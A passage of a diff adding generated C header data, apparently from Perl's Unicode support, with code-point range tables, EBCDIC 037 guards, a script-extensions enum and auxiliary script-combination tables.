+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1DBF,
+	0x1DC2,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2072,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F0,
+	0x20F1,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C80,
+	0x2CF4,
+	0x2CF9,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3003,
+	0x3004,
+	0x3005,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3014,
+	0x301C,
+	0x3020,
+	0x3021,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303C,
+	0x303E,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x30FD,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31A0,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3260,
+	0x327F,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4DC0,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA500,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA670,
+	0xA6A0,
+	0xA6F8,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA800,
+	0xA82C,
+	0xA830,
+	0xA836,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8F1,
+	0xA8F2,
+	0xA8F3,
+	0xA8F4,
+	0xA8FE,
+	0xA900,
+	0xA92E,
+	0xA92F,
+	0xA930,
+	0xA954,
+	0xA95F,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9D0,
+	0xA9DA,
+	0xA9DE,
+	0xA9E0,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA60,
+	0xAA80,
+	0xAAC3,
+	0xAADB,
+	0xAAE0,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB65,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDF2,
+	0xFDF3,
+	0xFDFD,
+	0xFDFE,
+	0xFE00,
+	0xFE10,
+	0xFE1A,
+	0xFE20,
+	0xFE2E,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF61,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x10330,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x10450,
+	0x10480,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x10856,
+	0x10857,
+	0x10860,
+	0x10880,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x10900,
+	0x1091C,
+	0x1091F,
+	0x10920,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109A0,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10A80,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B40,
+	0x10B56,
+	0x10B58,
+	0x10B60,
+	0x10B73,
+	0x10B78,
+	0x10B80,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x11080,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11301,
+	0x11302,
+	0x11303,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE1,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B001,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	SCX_Unknown = 0,
+	SCX_Adlam = 1,
+	SCX_Ahom = 2,
+	SCX_Anatolian_Hieroglyphs = 3,
+	SCX_Arabic = 4,
+	SCX_Armenian = 5,
+	SCX_Avestan = 6,
+	SCX_Balinese = 7,
+	SCX_Bamum = 8,
+	SCX_Bassa_Vah = 9,
+	SCX_Batak = 10,
+	SCX_Bengali = 11,
+	SCX_Bhaiksuki = 12,
+	SCX_Bopomofo = 13,
+	SCX_Brahmi = 14,
+	SCX_Braille = 15,
+	SCX_Buginese = 16,
+	SCX_Buhid = 17,
+	SCX_Canadian_Aboriginal = 18,
+	SCX_Carian = 19,
+	SCX_Caucasian_Albanian = 20,
+	SCX_Chakma = 21,
+	SCX_Cham = 22,
+	SCX_Cherokee = 23,
+	SCX_Common = 24,
+	SCX_Coptic = 25,
+	SCX_Cuneiform = 26,
+	SCX_Cypriot = 27,
+	SCX_Cyrillic = 28,
+	SCX_Deseret = 29,
+	SCX_Devanagari = 30,
+	SCX_Duployan = 31,
+	SCX_Egyptian_Hieroglyphs = 32,
+	SCX_Elbasan = 33,
+	SCX_Ethiopic = 34,
+	SCX_Georgian = 35,
+	SCX_Glagolitic = 36,
+	SCX_Gothic = 37,
+	SCX_Grantha = 38,
+	SCX_Greek = 39,
+	SCX_Gujarati = 40,
+	SCX_Gurmukhi = 41,
+	SCX_Han = 42,
+	SCX_Hanb = 43,
+	SCX_Hangul = 44,
+	SCX_Hanunoo = 45,
+	SCX_Hatran = 46,
+	SCX_Hebrew = 47,
+	SCX_Hiragana = 48,
+	SCX_Imperial_Aramaic = 49,
+	SCX_Inherited = 50,
+	SCX_Inscriptional_Pahlavi = 51,
+	SCX_Inscriptional_Parthian = 52,
+	SCX_Javanese = 53,
+	SCX_Jpan = 54,
+	SCX_Kaithi = 55,
+	SCX_Kannada = 56,
+	SCX_Katakana = 57,
+	SCX_Kayah_Li = 58,
+	SCX_Kharoshthi = 59,
+	SCX_Khmer = 60,
+	SCX_Khojki = 61,
+	SCX_Khudawadi = 62,
+	SCX_Kore = 63,
+	SCX_Lao = 64,
+	SCX_Latin = 65,
+	SCX_Lepcha = 66,
+	SCX_Limbu = 67,
+	SCX_Linear_A = 68,
+	SCX_Linear_B = 69,
+	SCX_Lisu = 70,
+	SCX_Lycian = 71,
+	SCX_Lydian = 72,
+	SCX_Mahajani = 73,
+	SCX_Malayalam = 74,
+	SCX_Mandaic = 75,
+	SCX_Manichaean = 76,
+	SCX_Marchen = 77,
+	SCX_Masaram_Gondi = 78,
+	SCX_Meetei_Mayek = 79,
+	SCX_Mende_Kikakui = 80,
+	SCX_Meroitic_Cursive = 81,
+	SCX_Meroitic_Hieroglyphs = 82,
+	SCX_Miao = 83,
+	SCX_Modi = 84,
+	SCX_Mongolian = 85,
+	SCX_Mro = 86,
+	SCX_Multani = 87,
+	SCX_Myanmar = 88,
+	SCX_Nabataean = 89,
+	SCX_New_Tai_Lue = 90,
+	SCX_Newa = 91,
+	SCX_Nko = 92,
+	SCX_Nushu = 93,
+	SCX_Ogham = 94,
+	SCX_Ol_Chiki = 95,
+	SCX_Old_Hungarian = 96,
+	SCX_Old_Italic = 97,
+	SCX_Old_North_Arabian = 98,
+	SCX_Old_Permic = 99,
+	SCX_Old_Persian = 100,
+	SCX_Old_South_Arabian = 101,
+	SCX_Old_Turkic = 102,
+	SCX_Oriya = 103,
+	SCX_Osage = 104,
+	SCX_Osmanya = 105,
+	SCX_Pahawh_Hmong = 106,
+	SCX_Palmyrene = 107,
+	SCX_Pau_Cin_Hau = 108,
+	SCX_Phags_Pa = 109,
+	SCX_Phoenician = 110,
+	SCX_Psalter_Pahlavi = 111,
+	SCX_Rejang = 112,
+	SCX_Runic = 113,
+	SCX_Samaritan = 114,
+	SCX_Saurashtra = 115,
+	SCX_Sharada = 116,
+	SCX_Shavian = 117,
+	SCX_Siddham = 118,
+	SCX_SignWriting = 119,
+	SCX_Sinhala = 120,
+	SCX_Sora_Sompeng = 121,
+	SCX_Soyombo = 122,
+	SCX_Sundanese = 123,
+	SCX_Syloti_Nagri = 124,
+	SCX_Syriac = 125,
+	SCX_Tagalog = 126,
+	SCX_Tagbanwa = 127,
+	SCX_Tai_Le = 128,
+	SCX_Tai_Tham = 129,
+	SCX_Tai_Viet = 130,
+	SCX_Takri = 131,
+	SCX_Tamil = 132,
+	SCX_Tangut = 133,
+	SCX_Telugu = 134,
+	SCX_Thaana = 135,
+	SCX_Thai = 136,
+	SCX_Tibetan = 137,
+	SCX_Tifinagh = 138,
+	SCX_Tirhuta = 139,
+	SCX_Ugaritic = 140,
+	SCX_Vai = 141,
+	SCX_Warang_Citi = 142,
+	SCX_Yi = 143,
+	SCX_Zanabazar_Square = 144,
+	SCX_INVALID = 145,
+	SCX_use_AUX_TABLE_1 = -1,
+	SCX_use_AUX_TABLE_2 = -2,
+	SCX_use_AUX_TABLE_3 = -3,
+	SCX_use_AUX_TABLE_4 = -4,
+	SCX_use_AUX_TABLE_5 = -5,
+	SCX_use_AUX_TABLE_6 = -6,
+	SCX_use_AUX_TABLE_7 = -7,
+	SCX_use_AUX_TABLE_8 = -8,
+	SCX_use_AUX_TABLE_9 = -9,
+	SCX_use_AUX_TABLE_10 = -10,
+	SCX_use_AUX_TABLE_11 = -11,
+	SCX_use_AUX_TABLE_12 = -12,
+	SCX_use_AUX_TABLE_13 = -13,
+	SCX_use_AUX_TABLE_14 = -14,
+	SCX_use_AUX_TABLE_15 = -15,
+	SCX_use_AUX_TABLE_16 = -16,
+	SCX_use_AUX_TABLE_17 = -17,
+	SCX_use_AUX_TABLE_18 = -18,
+	SCX_use_AUX_TABLE_19 = -19,
+	SCX_use_AUX_TABLE_20 = -20,
+	SCX_use_AUX_TABLE_21 = -21,
+	SCX_use_AUX_TABLE_22 = -22,
+	SCX_use_AUX_TABLE_23 = -23,
+	SCX_use_AUX_TABLE_24 = -24,
+	SCX_use_AUX_TABLE_25 = -25,
+	SCX_use_AUX_TABLE_26 = -26,
+	SCX_use_AUX_TABLE_27 = -27,
+	SCX_use_AUX_TABLE_28 = -28,
+	SCX_use_AUX_TABLE_29 = -29,
+	SCX_use_AUX_TABLE_30 = -30,
+	SCX_use_AUX_TABLE_31 = -31,
+	SCX_use_AUX_TABLE_32 = -32,
+	SCX_use_AUX_TABLE_33 = -33,
+	SCX_use_AUX_TABLE_34 = -34,
+	SCX_use_AUX_TABLE_35 = -35,
+	SCX_use_AUX_TABLE_36 = -36,
+	SCX_use_AUX_TABLE_37 = -37,
+	SCX_use_AUX_TABLE_38 = -38,
+	SCX_use_AUX_TABLE_39 = -39,
+	SCX_use_AUX_TABLE_40 = -40,
+	SCX_use_AUX_TABLE_41 = -41,
+	SCX_use_AUX_TABLE_42 = -42,
+	SCX_use_AUX_TABLE_43 = -43,
+	SCX_use_AUX_TABLE_44 = -44,
+	SCX_use_AUX_TABLE_45 = -45
+} SCX_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_SCX_AUX_TABLES
+
+static const SCX_enum SCX_AUX_TABLE_1[] = {
+	SCX_Bopomofo,
+	SCX_Hanb
+};
+
+static const SCX_enum SCX_AUX_TABLE_2[] = {
+	SCX_Cyrillic,
+	SCX_Old_Permic
+};
+
+static const SCX_enum SCX_AUX_TABLE_3[] = {
+	SCX_Cyrillic,
+	SCX_Glagolitic
+};
+
+static const SCX_enum SCX_AUX_TABLE_4[] = {
+	SCX_Cyrillic,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_5[] = {
+	SCX_Armenian,
+	SCX_Georgian
+};
+
+static const SCX_enum SCX_AUX_TABLE_6[] = {
+	SCX_Arabic,
+	SCX_Syriac,
+	SCX_Thaana
+};
+
+static const SCX_enum SCX_AUX_TABLE_7[] = {
+	SCX_Adlam,
+	SCX_Arabic,
+	SCX_Mandaic,
+	SCX_Manichaean,
+	SCX_Psalter_Pahlavi,
+	SCX_Syriac
+};
+
+static const SCX_enum SCX_AUX_TABLE_8[] = {
+	SCX_Arabic,
+	SCX_Syriac
+};
+
+static const SCX_enum SCX_AUX_TABLE_9[] = {
+	SCX_Arabic,
+	SCX_Thaana
+};
+
+static const SCX_enum SCX_AUX_TABLE_10[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Latin,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sharada,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_11[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Latin,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_12[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sinhala,
+	SCX_Syloti_Nagri,
+	SCX_Takri,
+	SCX_Tamil,
+	SCX_Telugu,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_13[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Limbu,
+	SCX_Mahajani,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sinhala,
+	SCX_Syloti_Nagri,
+	SCX_Takri,
+	SCX_Tamil,
+	SCX_Telugu,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_14[] = {
+	SCX_Devanagari,
+	SCX_Kaithi,
+	SCX_Mahajani
+};
+
+static const SCX_enum SCX_AUX_TABLE_15[] = {
+	SCX_Bengali,
+	SCX_Chakma,
+	SCX_Syloti_Nagri
+};
+
+static const SCX_enum SCX_AUX_TABLE_16[] = {
+	SCX_Gurmukhi,
+	SCX_Multani
+};
+
+static const SCX_enum SCX_AUX_TABLE_17[] = {
+	SCX_Gujarati,
+	SCX_Khojki
+};
+
+static const SCX_enum SCX_AUX_TABLE_18[] = {
+	SCX_Grantha,
+	SCX_Tamil
+};
+
+static const SCX_enum SCX_AUX_TABLE_19[] = {
+	SCX_Chakma,
+	SCX_Myanmar,
+	SCX_Tai_Le
+};
+
+static const SCX_enum SCX_AUX_TABLE_20[] = {
+	SCX_Georgian,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_21[] = {
+	SCX_Hangul,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_22[] = {
+	SCX_Buhid,
